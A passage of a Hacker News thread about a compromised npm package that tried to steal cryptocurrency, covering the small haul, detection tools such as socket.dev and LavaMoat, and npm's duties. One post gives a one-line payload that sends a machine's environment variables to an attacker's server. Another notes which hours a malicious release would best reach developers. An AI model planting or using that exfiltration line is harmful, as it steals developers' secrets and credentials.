Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

You too can run malware from NPM (I mean without consequences)

github.com

Post reply on HN
Print view View original

31–40 of 122 posts

Re: You too can run malware from NPM (I mean without consequences)

#31

Post by pixl97 »

shreddit wrote: post #23
nodesocket wrote: post #17

Earlier quoted context omitted.

I'm actually shocked they have not stolen more seeing the breach impact radius? Perhaps we can thank wallets and exchanges for blacklisting the addresses and showing huge warnings like the one shown in the article.

It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.

Really I'd say the key here is timing. I didn't look into what time the NPM packages were updated, but there are a few key times depending on what markets you're targeting. If it were Indian devs it would be around 2AM CST and if it's US devs it would be around 10AM CST.

This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.

Re: You too can run malware from NPM (I mean without consequences)

#32

Post by naugtur »

wodenokoto wrote: post #29
clbrmbr wrote: post #13

Earlier quoted context omitted.

Huh. I read TFA in detail (and shared with my team), but I didn’t see any analysis. (?)

> I won't go into this either, but you can take a look at the summary of "donations" some other friends linked to here: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0... >Pretty low impact for an attack this big. Some of it seems to be people mocking the malware author with worthless transfers. I believe this is the section. As far as I understand the link, it's about $500. I don't understand how you re…

I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.

Re: You too can run malware from NPM (I mean without consequences)

#33

Post by zachrip »

shreddit wrote: post #23
nodesocket wrote: post #17

Earlier quoted context omitted.

I'm actually shocked they have not stolen more seeing the breach impact radius? Perhaps we can thank wallets and exchanges for blacklisting the addresses and showing huge warnings like the one shown in the article.

It was discovered pretty quickly, i don’t think most “big” projects update their packages within minutes of publication.

It was also packages that in my experience don't often find themselves on the frontend.

Re: You too can run malware from NPM (I mean without consequences)

#34

Post by jefozabuss »

Seems like people already forgot about Jia Tan.

By the way why doesn't npm have already a system in place to flag sketchy releases where most of the code looks normal and there is a newly added obfuscated code with hexadecimal variable names and array lookups for execution...

Re: You too can run malware from NPM (I mean without consequences)

#35

Post by naugtur »

hiccuphippo wrote: post #28
clbrmbr wrote: post #13

Earlier quoted context omitted.

Huh. I read TFA in detail (and shared with my team), but I didn’t see any analysis. (?)

It seems to be this: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0... 500 USD, not bad for a month of work if the author is from a 3rd world country.

there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.

Re: You too can run malware from NPM (I mean without consequences)

#37

Post by naugtur »

herpdyderp wrote: post #12

I’m intrigued but is that compartmentalization not incredibly expensive?

It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.

Re: You too can run malware from NPM (I mean without consequences)

#38

Post by javcasas »

hiccuphippo wrote: post #28
clbrmbr wrote: post #13

Earlier quoted context omitted.

Huh. I read TFA in detail (and shared with my team), but I didn’t see any analysis. (?)

It seems to be this: https://intel.arkm.com/explorer/entity/61fbc095-f19b-479d-a0... 500 USD, not bad for a month of work if the author is from a 3rd world country.

3rd world country developers routinely earn more than that.

A shitty junior developer in Ecuador easily pulls 700-800 per month. If they are any competent, they can double that in an outsourcing consultancy.

Re: You too can run malware from NPM (I mean without consequences)

#39

Post by naugtur »

clbrmbr wrote: post #21
naugtur wrote: post #14

Earlier quoted context omitted.

packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised. Installing from git is not recommended and has more issues than you might think https://dev.to/naugtur/a-phish-on-a-fork-no-chips-52cc You are supposed to update packages, even if you use lockfiles (very common) or tools that pin your direct dependencies (renovate etc. not so comm…

Re: updates: I was just thinking of waiting a few weeks on the updates to allow compromised packages to be discovered.

socket.dev will find most malware within hours of it being published.

with LavaMoat most malware won't work even if you don't detect it.

Re: You too can run malware from NPM (I mean without consequences)

#40

Post by azemetre »

mohsen1 wrote: post #3

npm should take responsibility and up their game here. It’s possible to analyze the code and mark it as suspicious and delay the publish for stuff like this. It should prevent publishing code like this even if I have a gun to my head

Why would npm care? They're basically a monopoly in the JS world and under the stewardship of a company that doesn't even care when its host nation gets hacked when using their software due to their ineptitude.
Post reply on HN